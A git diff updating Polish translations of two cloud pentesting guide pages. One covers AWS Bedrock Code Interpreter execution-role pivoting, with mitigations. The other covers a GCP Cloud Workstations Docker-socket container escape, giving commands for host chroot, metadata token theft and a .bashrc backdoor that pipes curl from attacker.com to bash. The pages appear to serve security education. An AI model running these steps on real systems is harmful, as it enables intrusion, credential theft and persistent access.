diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md index c35cf51a8..2f8bea8d7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md @@ -6,32 +6,32 @@ ### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot -AgentCore Code Interpreter to zarządzane środowisko wykonawcze. **Custom Code Interpreters** można skonfigurować z **`executionRoleArn`**, które “zapewnia uprawnienia dla Code Interpreter do dostępu do usług AWS”. +AgentCore Code Interpreter to zarządzane środowisko wykonawcze. **Custom Code Interpreters** mogą być skonfigurowane z **`executionRoleArn`**, który „zapewnia uprawnienia interpreterowi kodu do dostępu do usług AWS”. -Jeśli **podmiot IAM o niższych uprawnieniach** może **uruchomić + wywołać** sesję Code Interpreter, która jest skonfigurowana z **bardziej uprzywilejowaną rolą wykonawczą**, wywołujący może efektywnie **przejść do uprawnień roli wykonawczej** (ruch boczny / eskalacja uprawnień w zależności od zakresu roli). +Jeżeli **lower-privileged IAM principal** może **start + invoke** sesję Code Interpreter skonfigurowaną z **bardziej uprzywilejowaną execution role**, wywołujący może skutecznie **pivot into the execution role’s permissions** (ruch boczny / eskalacja uprawnień w zależności od zakresu roli). > [!NOTE] -> Zwykle jest to problem **błędnej konfiguracji / nadmiernych uprawnień** (nadawanie szerokich uprawnień roli wykonawczej interpretera i/lub nadawanie szerokiego dostępu do invoke). -> AWS wyraźnie ostrzega, aby unikać eskalacji uprawnień poprzez zapewnienie, że role wykonawcze mają **równe lub mniejsze** uprawnienia niż tożsamości uprawnione do wywoływania. +> Zwykle jest to problem **błędnej konfiguracji / nadmiernych uprawnień** (nadawanie szerokich uprawnień roli wykonawczej interpretera i/lub udzielanie szerokiego dostępu do invoke). +> AWS wyraźnie ostrzega, aby unikać eskalacji uprawnień poprzez zapewnienie, że execution roles mają **równe lub mniejsze** uprawnienia niż tożsamości uprawnione do invoke. -#### Warunki wstępne (typowa błędna konfiguracja) +#### Warunki wstępne (częsta błędna konfiguracja) -- Istnieje **custom code interpreter** z nadmiernie uprzywilejowaną **rolą wykonawczą** (np.: dostęp do wrażliwych S3/Secrets/SSM lub możliwości zbliżone do admina IAM). +- Istnieje **custom code interpreter** z nadmiernie uprzywilejowaną **execution role** (np. dostęp do wrażliwych S3/Secrets/SSM lub możliwości podobnych do IAM-admin). - Użytkownik (developer/auditor/CI identity) ma uprawnienia do: -- uruchamiania sesji: `bedrock-agentcore:StartCodeInterpreterSession` -- wywoływania narzędzi: `bedrock-agentcore:InvokeCodeInterpreter` -- (Opcjonalnie) Użytkownik może także tworzyć interpretery: `bedrock-agentcore:CreateCodeInterpreter` (pozwala to na utworzenie nowego interpretera skonfigurowanego z rolą wykonawczą, w zależności od ograniczeń organizacyjnych). +- start sessions: `bedrock-agentcore:StartCodeInterpreterSession` +- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter` +- (Opcjonalnie) Użytkownik może także tworzyć interpretery: `bedrock-agentcore:CreateCodeInterpreter` (pozwala to na utworzenie nowego interpretera skonfigurowanego z execution role, w zależności od ograniczeń organizacyjnych). -#### Rozpoznanie (identify custom interpreters and execution role usage) +#### Recon (identify custom interpreters and execution role usage) Wypisz interpretery (control-plane) i sprawdź ich konfigurację: ```bash aws bedrock-agentcore-control list-code-interpreters aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id ```` -> Polecenie create-code-interpreter obsługuje `--execution-role-arn`, który określa, jakie uprawnienia AWS będzie miał interpreter. +> Polecenie create-code-interpreter obsługuje `--execution-role-arn`, które definiuje, jakie uprawnienia AWS będzie miał interpreter. -#### Krok 1 - Rozpocznij sesję (to zwraca `sessionId`, a nie interactive shell) +#### Krok 1 - Rozpocznij sesję (zwraca `sessionId`, nie interactive shell) ```bash SESSION_ID=$( aws bedrock-agentcore start-code-interpreter-session \ @@ -43,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \ echo "SessionId: $SESSION_ID" ``` -#### Step 2 - Uruchomienie kodu (Boto3 lub signed HTTPS) +#### Krok 2 - Uruchomienie wykonania kodu (Boto3 lub signed HTTPS) -Nie ma **interaktywnej powłoki Pythona** z `start-code-interpreter-session`. Wykonanie odbywa się za pomocą **InvokeCodeInterpreter**. +Nie ma **interaktywnej powłoki Pythona** z `start-code-interpreter-session`. Wykonanie odbywa się przez **InvokeCodeInterpreter**. -**Opcja A - Przykład Boto3 (wykonanie kodu Python + weryfikacja tożsamości):** +**Opcja A - przykład Boto3 (wykonanie kodu w Pythonie + weryfikacja tożsamości):** ```python import boto3 @@ -68,7 +68,7 @@ arguments={ for event in resp.get("stream", []): print(event) ``` -Jeśli interpreter jest skonfigurowany z rolą wykonawczą, wynik `sts:GetCallerIdentity()` powinien odzwierciedlać tożsamość tej roli (a nie niskoprzywilejowego wywołującego), demonstrując pivot. +Jeśli interpreter jest skonfigurowany z execution role, wynik `sts:GetCallerIdentity()` powinien odzwierciedlać tożsamość tej roli (a nie low-priv caller), demonstrując pivot. **Opcja B - Podpisane wywołanie HTTPS (awscurl):** ```bash @@ -89,16 +89,16 @@ awscurl -X POST \ ``` #### Wpływ -* **Lateral movement** do wszelkiego dostępu AWS, jaki ma rola wykonawcza interpretera. -* **Eskalacja uprawnień** jeśli rola wykonawcza interpretera ma wyższe uprawnienia niż wywołujący. -* Trudniejsze wykrywanie, jeśli CloudTrail data events dla wywołań interpretera nie są włączone (wywołania mogą nie być rejestrowane domyślnie, w zależności od konfiguracji). +* **Lateral movement** do dowolnego dostępu w AWS, jaki posiada rola wykonawcza interpretera. +* **Privilege escalation** jeśli rola wykonawcza interpretera ma wyższe uprawnienia niż wywołujący. +* Trudniejsze wykrywanie, jeśli CloudTrail data events dla wywołań interpretera nie są włączone (wywołania mogą nie być logowane domyślnie, w zależności od konfiguracji). -#### Środki zaradcze / Utwardzanie +#### Mitigations / Hardening -* **Zasada najmniejszych uprawnień** dla interpretera `executionRoleArn` (traktować jak Lambda execution roles / CI roles). -* **Ogranicz, kto może wywoływać** (`bedrock-agentcore:InvokeCodeInterpreter`) i kto może rozpoczynać sesje. -* Użyj **SCPs** aby odmówić InvokeCodeInterpreter z wyjątkiem zatwierdzonych ról runtime agenta (może być konieczne wymuszenie na poziomie organizacji). -* Włącz odpowiednie **CloudTrail data events** dla AgentCore tam, gdzie to ma zastosowanie; generuj alerty przy nieoczekiwanych wywołaniach i tworzeniu sesji. +* **Least privilege** dla `executionRoleArn` interpretera (traktuj to jak role wykonawcze Lambda / role CI). +* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) i kto może rozpoczynać sesje. +* Użyj **SCPs** aby zabronić InvokeCodeInterpreter z wyjątkiem zatwierdzonych agent runtime roles (może być konieczne egzekwowanie na poziomie organizacji). +* Włącz odpowiednie **CloudTrail data events** dla AgentCore tam, gdzie to ma zastosowanie; ustaw alerty dla nieoczekiwanych wywołań i tworzenia sesji. ## References diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md index 25dc2d2c4..c333cee1c 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md @@ -3,16 +3,16 @@ ### Container Breakout via Docker Socket (Container -> VM -> Project) -Główny wektor eskalacji uprawnień w Cloud Workstations wynika z konieczności wspierania workflowów **Docker-in-Docker (DinD)** dla deweloperów. Kiedy konfiguracja workstation montuje Docker socket lub pozwala na privileged containers (częsta konfiguracja), atakujący wewnątrz kontenera workstation może uciec do leżącego poniżej Compute Engine VM i ukraść jego token konta usługi. +Główny wektor privilege escalation w Cloud Workstations wynika z potrzeby wsparcia Docker-in-Docker (DinD) workflows dla deweloperów. Kiedy konfiguracja workstation montuje Docker socket lub pozwala na privileged containers (częsta konfiguracja), atakujący wewnątrz workstation container może uciec do leżącego poniżej Compute Engine VM i ukraść jego service account token. **Prerequisites:** -- Dostęp do terminala Cloud Workstation (przez SSH, przejętą sesję lub skradzione poświadczenia) -- Konfiguracja workstation musi montować `/var/run/docker.sock` lub umożliwiać privileged containers +- Dostęp do terminala Cloud Workstation (przez SSH, skompromitowaną sesję lub skradzione credentials) +- Konfiguracja workstation musi montować /var/run/docker.sock lub włączać privileged containers -**Architecture context:** Workstation to kontener (Layer 3) uruchomiony na runtime Docker/Containerd (Layer 2) na GCE VM (Layer 1). Docker socket daje bezpośredni dostęp do runtime'u kontenerów hosta. +**Architecture context:** Workstation to container (Layer 3) uruchomiony na Docker/Containerd runtime (Layer 2) na GCE VM (Layer 1). Docker socket daje bezpośredni dostęp do host's container runtime. > [!NOTE] -> Narzędzie [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatyzuje pełne container escape i daje powłokę root na hoście VM. +> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automates the full container escape and drops you into a root shell on the host VM.
@@ -26,9 +26,9 @@ ls -l /var/run/docker.sock
-Krok 2: Ucieczka do systemu plików VM hosta +Krok 2: Ucieczka do systemu plików hosta VM -Uruchamiamy uprzywilejowany kontener, montując katalog root hosta pod `/mnt/host`. Dzielimy też sieć hosta i przestrzeń nazw PID, aby zmaksymalizować widoczność. +Uruchamiamy uprzywilejowany kontener, montując katalog root hosta do `/mnt/host`. Dzielimy także przestrzeń nazw sieci i PID hosta, aby zmaksymalizować widoczność. ```bash # Spawn a privileged container mounting the host's root filesystem docker run -it --rm --privileged --net=host --pid=host \ @@ -38,13 +38,13 @@ alpine sh # Inside the new container, chroot into the host chroot /mnt/host /bin/bash ``` -Masz teraz **root shell na podstawowej Compute Engine VM** (Warstwa 1). +Masz teraz **root shell on the underlying Compute Engine VM** (Layer 1).
-Krok 3: Wykradnij VM service account token z IMDS +Krok 3: Steal the VM service account token from IMDS ```bash # From the host VM, query the Instance Metadata Service curl -s -H "Metadata-Flavor: Google" \ @@ -62,15 +62,15 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop > [!CAUTION] > **Sprawdź zakresy!** -> Nawet jeśli przypisany Service Account ma rolę **Editor**, VM może być ograniczona przez zakresy dostępu. +> Nawet jeśli przypisany Service Account ma rolę **Editor**, VM może być ograniczony przez zakresy dostępu. > Jeśli widzisz `https://www.googleapis.com/auth/cloud-platform`, masz pełny dostęp. -> Jeśli widzisz tylko `logging.write` i `monitoring.write`, jesteś ograniczony do wektorów **Network Pivot** i **Persistence** opisanych poniżej. +> Jeśli widzisz tylko `logging.write` i `monitoring.write`, jesteś ograniczony do wektorów **Network Pivot** i **Persistence** poniżej.
Krok 4: Achieve Persistence (Backdoor the User) -Cloud Workstations montują trwały dysk pod `/home/user`. Ponieważ użytkownik kontenera (zwykle `user`, UID 1000) odpowiada użytkownikowi hosta (UID 1000), możesz zapisywać w katalogu domowym hosta. To pozwala na zainstalowanie backdoora w środowisku nawet jeśli kontener Workstation zostanie odbudowany. +Cloud Workstations montują trwały dysk pod `/home/user`. Ponieważ użytkownik kontenera (zwykle `user`, UID 1000) odpowiada użytkownikowi hosta (UID 1000), możesz zapisywać do katalogu domowego hosta. Pozwala to na backdoor the environment nawet jeśli workstation container zostanie przebudowany. ```bash # Check if you can write to the host's persistent home ls -la /mnt/host/home/user/ @@ -83,9 +83,9 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
-Krok 5: Network Pivot (Wewnętrzny dostęp do VPC) +Step 5: Network Pivot (Internal VPC Access) -Ponieważ dzielisz przestrzeń nazw sieci hosta (`--net=host`), stajesz się teraz zaufanym węzłem w VPC. Możesz skanować wewnętrzne usługi, które umożliwiają dostęp na podstawie whitelistingu adresów IP. +Ponieważ udostępniasz przestrzeń nazw sieci hosta (`--net=host`), jesteś teraz zaufanym węzłem w VPC. Możesz skanować wewnętrzne usługi, które umożliwiają dostęp w oparciu o IP whitelisting. ```bash # Install scanning tools on the host (if internet access allows) apk add nmap